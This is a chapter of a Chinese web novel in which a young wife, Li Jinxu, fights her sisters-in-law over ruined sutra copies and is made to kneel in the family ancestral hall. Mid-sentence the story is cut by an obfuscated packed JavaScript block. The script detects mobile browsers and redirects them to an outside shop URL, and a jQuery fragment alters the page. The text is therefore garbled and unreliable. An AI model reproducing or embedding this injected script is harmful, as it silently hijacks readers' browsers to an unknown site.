三房的少夫人们在一间屋子一起抄书,平日里头那二房和三房还有些话好说,李锦絮则一声不吭。
净手焚香过后,在这地方一坐就是小半日,抄到最后,起了身都是两眼一黑,李锦絮哪里有功夫应付她们。
在这第四日,一切都如往常一般,那边董颖琼正和简巧云闲话着,却忽地转向了李锦絮,问道:“二十那日,不知李大人和夫人来吗?”
来做什么,受他们沈家人的白眼嘲笑?李锦絮没理她,一旁的简巧云出言,凉凉道:“人都病得下不来床,怎么来?大喜的日子,寻什么晦气呢?”
李锦絮肚子里面本就憋着火,听到她的话,抬眼看了简巧云一眼,眼神竟是有些冷。
简巧云见她这样看她,知道是戳中了她的痛处,一边抄着书,一边歪着脑袋慢悠悠道:“想这都是一样的境地,可这待遇怎么就这么天差地别呢?施家夫人病了,咱家倒是不停地送名贵药材过去,这李家老爷也病了,怎么就什么都吃不上了?若早这样养着病,老爷子的身子怕也早好了吧。二嫂嫂,我替你想了想,怕也不是这老爷夫人的差在哪里,倒是那做女儿的,不如人了。”
简氏年轻又貌美,在家也是被人娇宠着,一句接一句的,说话格外难听,董颖琼在旁听着,没插嘴。
简巧云见李锦絮仍在瞪她,心里面被她看得有些发毛,却还是掩着嘴巴轻笑讥讽,直到李锦絮兀地起了身。
她才悻悻道:“我说错了?你瞪我做些什么!”
李锦絮知她故意激她,不欲理会,扭头离开。
简巧云在她身后喊道:“还有半个时辰呢!你要躲懒,我告诉大伯母去!”
李锦絮仍旧没有回头。
她没有要跑,只是叫她那话说得有些生气,借口解手,去净室中冷静片刻。
许是夏日燥热,李锦絮也格外焦躁,简巧云的话还在耳边回荡,叫她止不住有些生气,但她也不蠢,看她们那二人一唱一和,怕不是故意惹她生气。
可让她生气,然后呢?又想做什么。
李锦絮往脸上扑了两下冷水,迫使自己不要再去想方才那些话。
她爹吃不上好药,施兰仪的娘吃得上,这怪谁,她自己给不了爹好东西,她能怪谁。
简巧云也没说错,是做女儿的,不如人。
是她不如施兰仪。
她在这里面缓了一会,又重新回去方才的地方,回去之后,却发现自己方才抄的佛经上面被洒了墨,李锦絮知道是谁做的手脚,马上看向了那两人,简巧云马上道:“你这么看我们做什么,分明是你自己不小心弄撒的,你这也要怨我们?”
说她坏话,她就听了,可将她好不容易抄成的经书弄成这样,李锦絮就有些不大能忍了。
她手都快抄断了,她们一下子就给她泼成这样了?有没有一点心?
简巧云还在嘴硬,“都说了不是我们......”
李锦絮道:“这里就你们在,不是你们又是谁弄的?”
董颖琼笑着反问,“那也没人瞧见是我们弄的,弟妹这样说,便有些冤枉人了。”
“没人瞧见是吧。”李锦絮走到那两人面前,端起了她们面前的墨洒到了她们面前的经书上。
简巧云惊怒道:“你疯了啊!”
李锦絮气得狠了,手上也抓了一把墨,往她的脸上挥去,简巧云那张白净的脸马上就被她糊成脏兮兮一片,她还不解气,道:“你先招惹我的,我都不打算同你计较,你又毁我的经书做什么?你疯了才是!”
简巧云气疯了,骂道:“疯子,你个疯子,我跟你没完!我看你爹就是被你气得病在了床上!”
简巧云不甘示弱,也不管旁的,马上朝着她扑了上去,李锦絮从小到大没少胡跑,就连树都三两下就能上,人虽看着瘦弱,但打起架来颇有章法,趁着简巧云不注意,往她脸上又刮了一巴掌,霎时间,她那脸上难分青红皂白。
两人扭打成一团,董颖琼在旁边装模作样劝了两句,但李锦絮也没打算放过她,将她扯进来一起。
很快,外头的人听到里头的动静,急道:“打起来了,里头打起来了!快去喊夫人来啊!”
三个人被扯开后,脸上身上都多多少少染上了些墨迹,脏得不像样,李锦絮的脖子不知是被哪个人挠的,两道直勾勾的血痕,那两人也没好到哪里去,难得这样狼狈过。
袁氏最先赶来,她看到眼前的场景,看到屋中狼藉,差点昏了过去,“你们这是要翻天啊!”
她过来之后,李锦絮不敢再打了,收了手老老实实站在一旁,简巧云见她这会装乖,和方才两模两样,登时气得怒火中烧,“你这会装什么,我这身上叫谁打的?!”
李锦絮不理她,同袁氏道:“不是我,是她们先将墨泼到了我的经书上,母亲知道的,我不是个爱惹事的人,没有缘由先打人。”
董颖琼看简巧云还想骂,扯了她一把,先行道:“不是这样的,我们断不会做这样的事,方才只是闲话,说了几句,不知怎么就将弟妹惹恼了,突然发作了起来。”
袁氏问,“你们方才都说些什么了?”
董颖琼道:“不过是说大伯母给家中的妹妹送些药草养病,哪个知道戳到她哪里了?”
袁氏听到这话脸色霎时变得更难看了,她看向李锦絮,问道:“这是对我有意见了?”
李锦絮脸色变了变。
打蛇打七寸,她们这话打到了袁氏的七寸了。
她摇头,说,“不是的......”
袁氏哪里听她解释,冷哼一声道:“你说你不爱惹事?以往李家谁最闹腾,是你姐姐不成?!老夫人诞辰在即,你们几个还惹出这样的事,既抄些佛经抄不好,便去跪祠堂好了!”
这次打架的主要还是李锦絮和简巧云,袁氏最后各打二十大板,让这两人去罚跪祠堂,直到明日天亮才能出来,她警告她们,“若你们敢再在祠堂动手,我非上家法不可!”
两人被关到了祠堂里面,跪在祖宗前,简巧云心中尤不解气,压着声骂跪在旁边的人,“若不是你,我们也不会跪在这里,不就是泼了你写的字,你有必要闹成这样!”
李锦絮偏头看了她一眼,竟是忽地笑了一声,简巧云道:“你又笑些什么!”
李锦絮淡淡道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341120|199329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“今日你我二人跪在这里了,董颖琼呢?哦对了......还有你们二人,是谁忽地提起给老夫人抄佛经,也是她吧?我就是笑你是个傻子,你不服气?”
简巧云听到李锦絮的话后,回忆了一番,神色渐渐凝重,到了最后总算是安静下来,没再寻事。
等她们跪到酉时的时候,天算渐晚,夏日昼长夜短,到了这个时候,天才终于暗淡了一些下来,她们跪了约莫有一个多时辰,简巧云一开始还有些吵架的力气,到了后来,吵架的力气也没有了,垂头丧脑地耷拉在那里。
夕阳斜斜地透过窗棂照进了宗祠中,稀疏的昏黄落在李锦絮的身上,照在她那白玉般的脸颊上,轻垂的眼睫一颤一颤,更显修长,她有些累,双手撑在膝上,因从始至终维持着这个动作,手腕也跟膝盖一起发酸。
正在这时,外头的门忽地被打开了。
谁来了?
两人听到动静,都扭头看去。
来的是沈谏渊的三弟,简巧云的丈夫,沈家三公子,沈谏泽。
李锦絮扭回了头,仍旧维持着方才的动作。
沈谏泽这会来是接人的。
沈谏泽回来的时候,正巧在后门那处碰到袁氏和沈谏渊。
袁氏似是有事,拽着刚下值的沈谏渊匆匆出门,这会袁氏既然都不在家,那谁还管她这一夜到天亮的罚跪。
她让她们罚跪,主要还是因着打架一事,如今这架止住了,也跪了一个多时辰,已经够罚的了,若是再跪下去,两条好腿跪成了瘸子,岂还得了?往后还怎么走路?
沈谏泽走到简巧云面前,将人从地上拽了起来,“你啊你,你一天到晚不惹事,你真是浑身难受。”
简巧云见是沈谏泽,马上呜呜哭了起来,“你来接我了!这次的事,不是我的错,都是她......”
她还想指李锦絮,却被沈谏泽一把压回了手指头,他敬重他的二哥,也不想看她总是和二嫂闹不痛快,况且,先前太牢一事,本也是她陷害她在先,后来两人才交了恶,李锦絮嫁进来的这一年多,大多时候都是温顺消停的,今日这事,谁对谁错,明眼人都看得出来。
他道:“好了,你还在怪别人,差不多行了!”
他现在还能在这里和稀泥,一会大哥从外面办完事回来,对簿公堂,去分个是非对错,她是真占不得一点好。
他不再说,将人从祠堂里面带了出去,下人拦了两下,拦不住,任由人走了。
那两人走后,李锦絮也从地上一骨碌爬起来,她说,“她都走了,我也要走。”
下人道:“那是三公子,我们拦不住。”
三公子拦不住,她还是拦得住。
李锦絮明白她的言下之意了,咬了咬牙,什么都没再说,只能重新回了祠堂里头。
在里面越待,越是有些恼恨,沈谏泽好歹还知道不叫娘子受这番罪,沈谏渊他去哪里了?为什么不来这里接她?
但越想越又有些泄气,沈谏渊知道了,大概会斥她在胡闹,该不会真是想叫她一夜跪到天亮?
又待了半个时辰左右,天色都已黑透,门又重新开了。